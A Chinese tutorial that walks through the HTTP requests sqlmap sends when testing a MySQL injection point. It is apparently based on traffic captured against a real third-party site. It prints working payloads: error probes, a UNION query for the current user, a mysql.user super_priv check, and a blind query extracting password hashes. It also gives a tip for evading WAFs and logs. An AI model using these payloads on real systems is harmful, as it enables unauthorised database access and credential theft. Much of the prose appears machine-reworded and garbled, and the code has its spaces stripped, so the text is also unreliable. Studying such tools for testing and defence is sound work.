许多小伙伴们在发觉或是判断出注入的情况下,大部分挑选便是立即上sqlmap,結果通常也不尽如人意,因此就会有念头来写写 sqlmap 从实行到判断注入,究竟发生什么事?
文中就用大家看的见的方面来剖析,看看sqlmap究竟推送了哪些payload,这种payload是怎么出去的,不深层次编码方面。
测试环境:
sqlmap(1.3.6.58#dev)BurpSuitehttp://attack.com?1.php?id=1
检测方法
利用 sqlmap 的 proxy 主要参数,大家将代理设置为 8080 端口号用 burpsuite 开展抓包软件。
sqlmap.py-u"http://attack.com?1.php?id=1"--proxy="http://127.0.0.1:8080"
(检测了好长时间仿佛当地构建的条件没法抓包软件,因此就找了有注入点的网址,系统漏洞已汇报给漏洞平台)
爬取到的包如下所示 :
sqlmap 的准备工作
大家也观查到,sqlmap 默认设置推送的 User-Agent 是如此的。
User-Agent:sqlmap/1.3.6.58#dev(http://sqlmap.org)
因此为了防止被 waf 或是日志里边纪录,大家一般可以增加一个 --random-agent 主要参数在后面。
最先大家的 sqlmap 会持续推送出许多数据来检验总体目标网址是不是平稳:
GET/xxxx.php?id=1HTTP/1.1Host:www.xxxx.xxxAccept:*/*User-Agent:sqlmap/1.3.6.58#dev(http://sqlmap.org)Connection:closeCache-Control:no-cache[INFO]testingconnectiontothetargetURL[INFO]testingifthetargetURLcontentisstable[INFO]targetURLcontentisstable
下面会检验是不是为 dynamic,和上边的要求包对比,sqlmap 改动了 id 后边的值。
GET/xxxx.php?id=2324HTTP/1.1Host:www.xxx.xxxAccept:*/*User-Agent:sqlmap/1.3.6.58#dev(http://sqlmap.org)Connection:closeCache-Control:no-cache[INFO]testingifGETparameter'id'isdynamic
不明白这个是什么骚操作,大家一起来看看源代码里边怎么讲 (sqlmap\lib\controller\checks.py)。
defcheckDynParam(place,parameter,value):"""ThisfunctionchecksiftheURLparameterisdynamic.Ifitisdynamic,thecontentofthepagediffers,otherwisethedynamicitymightdependonanotherparameter."""
依据輸出句子的关键词搜索,我跟踪到了这一 checkDynParam 函数公式,大约的功效便是改动大家目前获得到的变量值,看改动前后左右的网页页面回到是不是同样(有的情况下注入有好几个主要参数,那麼有一些无关痛痒的主要参数改动后网页页面是沒有转变的),若有变化(换句话说这一主要参数是有效的),sqlmap 才会来到下一步。
下一步的数据和作用如下所示:
GET/xxxx.php?id=1'.),,.(.)"HTTP/1.1Host:www.xxx.xxxAccept:*/*User-Agent:sqlmap/1.3.6.58#dev(http://sqlmap.org)Connection:closeCache-Control:no-cache[INFO]heuristic(basic)testshowsthatGETparameter'id'mightbeinjectable(possibleDBMS:'MySQL')
大家将里面的 url 编码解码:
/xxxx.php?id=1'.),,.(.)"/xxxx.php?id=1'.),,.(.)"
这好多个字符串数组就能判断是 MySQL 数据库查询?又是啥骚操作,再看一下源码吧 (sqlmap\lib\controller\ckecks.py):
infoMsg ="(possibleDBMS:'%s')"%Format.getErrorParsedDBMSes()
找到一条句子,追踪这一 getErrorParsedDBMSes() 函数公式。
defgetErrorParsedDBMSes():"""ParsestheknowledgebasehtmlFplistandreturnitsvaluesformattedasahumanreadablestring.@return:listofpossibleback-endDBMSbaseduponerrormessagesparsing.@rtype:C{str}"""
那麼这一函数公式便是根据出错信息内容(便是里面的 payload) 来鉴别数据库查询的种类,恰好我找的这一网址也是曝出了 MySQL 句子的不正确,随后就根据正则表达式 (sqlmap/data/xml/errors.xml) 鉴别出去啦,篇数缘故源代码也不剖析了。
sqlmap 的注入分析
itlooksliketheback-endDBMSis'MySQL'.DoyouwanttoskiptestpayloadsspecificforotherDBMSes?[Y/n]Yfortheremainingtests,doyouwanttoincludealltestsfor'MySQL'extendingprovidedlevel(1)andrisk(1)values?[Y/n]Y
上边 sqlmap 早已获得了数据库系统的种类而且参数也是合理的,下面往下沉 sqlmap 就逐渐分辨注入了(这儿立即用-v3 参数表明 payload 更为的清楚)。
这一块也是我们最必须弄清楚的一部分,许多小伙伴们看见觉得有注入,哎,上 sqlmap,随后大部分一片红,可是事实上,依照 sqlmap 对注入的归类,我们可以更为明确的掌握 sqlmap 究竟做了哪些,这种东西是以哪儿出去。
最先说起一下,sqlmap 有一个 —technique 参数,在运转的整个过程中,也是依照这几种来检验的:
--technique=TECH..SQLinjectiontechniquestouse(default"BEUSTQ")B:Boolean-basedblindSQLinjection(布尔型注入)E:Error-basedSQLinjection(出错型注入)U:UNIONquerySQLinjection(可联合查询注入)S:StackedqueriesSQLinjection(可以多句子查看注入)T:Time-basedblindSQLinjection(根据延迟时间注入)Q:inline_querySQLinjection(内联注入)
对这几类注入还不娴熟我心的小伙伴们要好好地补一下基本。
那麼这种关键的注入句子,我们可以在 sqlmap/data/xml/queries.xml 中查询掌握,汇总的也是挺全方位的,这儿提取一部分出去。
<dbmsvalue="MySQL"><castquery="CAST(%sASCHAR)"/><lengthquery="CHAR_LENGTH(%s)"/><isnullquery="IFNULL(%s,'')"/><delimiterquery=","/><limitquery="LIMIT%d,%d"/><limitregexpquery="\s LIMIT\s ([\d] )\s*\,\s*([\d] )"query2="\s LIMIT\s ([\d] )"/><limitgroupstartquery="1"/><limitgroupstopquery="2"/><limitstringquery="LIMIT"/><orderquery="ORDERBY%sASC"/><countquery="COUNT(%s)"/><commentquery="---"query2="/*"query3="#"/><substringquery="MID((%s),%d,%d)"/><concatenatequery="CONCAT(%s,%s)"/><casequery="SELECT(CASEWHEN(%s)THEN1ELSE0END)"/><hexquery="HEX(%s)"/><inferencequery="ORD(MID((%s),%d,1))>%d"/><bannerquery="VERSION()"/><current_userquery="CURRENT_USER()"/><current_dbquery="DATABASE()"/><hostnamequery="@@HOSTNAME"/>..................
针对各种类别的引入句子必须怎样组成,在 sqlmap/data/xml/payloads 下有六个文档,里边主要是界定了检测的名字(也就是大家控制面板中输入输出的內容)、安全风险、一些 payload 的部位等,了解一下就可以了。
<test><title>GenericUNIONquery([CHAR])-[COLSTART]to[COLSTOP]columns(custom)</title><stype>6</stype><level>1</level><risk>1</risk><clause>1,2,3,4,5</clause><where>1</where><vector>[UNION]</vector><request><payload/><comment>[GENERIC_SQL_COMMENT]</comment><char>[CHAR]</char><columns>[COLSTART]-[COLSTOP]</columns></request><response><union/></response></test>
同文件目录下还有一个 boundaries.xml 文档,里边主要是界定了一些合闭的标记,比如说大家引入点必须合闭,加上反斜杠、引号、括号等一系列的组成方法,就从这一文档之中获取下来的。
<boundary><level>3</level><clause>1</clause><where>1,2</where><ptype>3</ptype><prefix>'))</prefix><suffix>AND(('[RANDSTR]'LIKE'[RANDSTR]</suffix></boundary>
因此整理一下构思,大家以后会发给总体目标网络服务器的 payload,最先是必须合闭的 (boundaries.xml),随后从相匹配的引入种类的各种各样检测模版中获取对应的主要参数(例如:boolean_blind.xml),随后在 queries.xml 中取下相对应的关系式,***根据 tamper 的3D渲染,輸出大家最后的 payload,也就是大家的 -v3 主要参数。
sqlmap 的一些参数
大家关键剖析下列2个指令:
--is-dba--passwords
命令主要是分辨 mysql 客户的一些信息内容,在我们发觉引入可以运用的情况下,下一步便是需看现阶段客户的管理权限看能有哪些的操控了。
1. 分辨是不是 dba 管理权限
sqlmap 一共发过2个要求包:
GET/xxxx.php?id=-2478 UNION ALL SELECT NULL,CONCAT(0xxxxxxx,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0x7176786b71),NULL,NULL-- HZdPHTTP/1.1Host:www.xxxx.xxxAccept:*/*User-Agent:sqlmap/1.3.6.58#dev(http://sqlmap.org)Connection:closeCache-Control:no-cacheGET/xxxx.php?id=-6628 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178787871,(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0xxxxxxxx LIMIT 0,1)=0x59) THEN 1 ELSE 0 END),0x7170627071)-- mOPVHTTP/1.1Host:www.xxxx.xxxAccept:*/*User-Agent:sqlmap/1.3.6.58#dev(http://sqlmap.org)Connection:closeCache-Control:no-cache
将 payload 编解码:
/xxxx.php?id=-2478UNIONALLSELECTNULL,CONCAT(0x71766a6271,IFNULL(CAST(CURRENT_USER()ASCHAR),0x20),0xxxxx),NULL,NULL--HZdP/xxxx.php?id=-6628UNIONALLSELECTNULL,NULL,NULL,CONCAT(0x7178787871,(CASEWHEN((SELECTsuper_privFROMmysql.userWHEREuser=0xxxxxLIMIT0,1)=0x59)THEN1ELSE0END),0x7170627071)--mOPV
大家立即在 mysql 操纵观众席实行命令:
***个命令返回了登录名, 0x71766a6271 编解码为 qvjbq,那麼这一步我们可以获取出登录名了。
第二个命令返回了 1 ,大家将查看命令获取出去:
SELECTsuper_privFROMmysql.userWHEREuser=0xxxxxLIMIT0,1
在 mysql 数据库下的 user 表中查看 super_priv (超级权限)的值:
返回了 Y,因此大家分辨是不是为 dba 的思路便是根据查询 mysql.user 下 super_priv 的值。
这一命令有一个坑,有的情况下人们所引入的网络服务器上边并沒有 mysql 这一数据库,因此用这一命令的先决条件是 mysql 这一数据库要存有。
2. 密码查询
抓的包:
GET/xxx.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(authentication_string)) AS CHAR),0x20) FROM mysql.user WHERE user=0x64623833323331),1,1))>48HTTP/1.1Host:www.xxxx.xxxAccept:*/*User-Agent:sqlmap/1.3.6.58#dev(http://sqlmap.org)Connection:closeCache-Control:no-cache
编解码:
/xxxx.php?id=1ANDORD(MID((SELECTIFNULL(CAST(COUNT(DISTINCT(authentication_string))ASCHAR),0x20)FROMmysql.userWHEREuser=0xxxxx),1,1))>48
这儿有一个很趣味的地区,我的 sqlmap 是 1.3.6 的版本号,不清楚以前的是否,他是以 mysql.user 中获得 authentication_string 的值,可是很有意思的是,这一值仅有在 mysql 版本号 5.7 以上,password 才会变为 authentication_string,大家还可以从 queries.xml 中寻找这条句子:
<passwords><inbandquery="SELECTuser,authentication_stringFROMmysql.user"condition="user"/><blindquery="SELECTDISTINCT(authentication_string)FROMmysql.userWHEREuser='%s'LIMIT%d,1"count="SELECTCOUNT(DISTINCT(authentication_string))FROMmysql.userWHEREuser='%s'"/></passwords>
发觉默认设置就是这个 authentication_string,因此大家这儿立即改动 queries.xml 中的句子,将查看的注明改为 password 再测试一下。
后边检测发觉,我们在沒有改动的情形下,sqlmap 也会跑出登陆密码,并且查询 payload 以后,sqlmap 起先查了 authentication_string,随后查了 password:
看下源代码,随后找到( sqlmap/plugins/generic/users.py):
values=inject.getValue(query.replace("authentication_string","password"),blind=False,time=False)
这儿用 replace 将2个注明开展了更换,里边有一个 ifel 的句子,如果***次没找到便会开展更换,那样大家的问题就处理掉啦,sqlmap 或是想的挺全面的嘿嘿。
汇总
sqlmap 里边的內容确实是太多太多,要想探索里边的內容必须耗费很多的時间,自然获得也是正比的,弄清楚sqlmap 的步骤基本原理,对大家 sql 引入技术性会出现非常大的提高。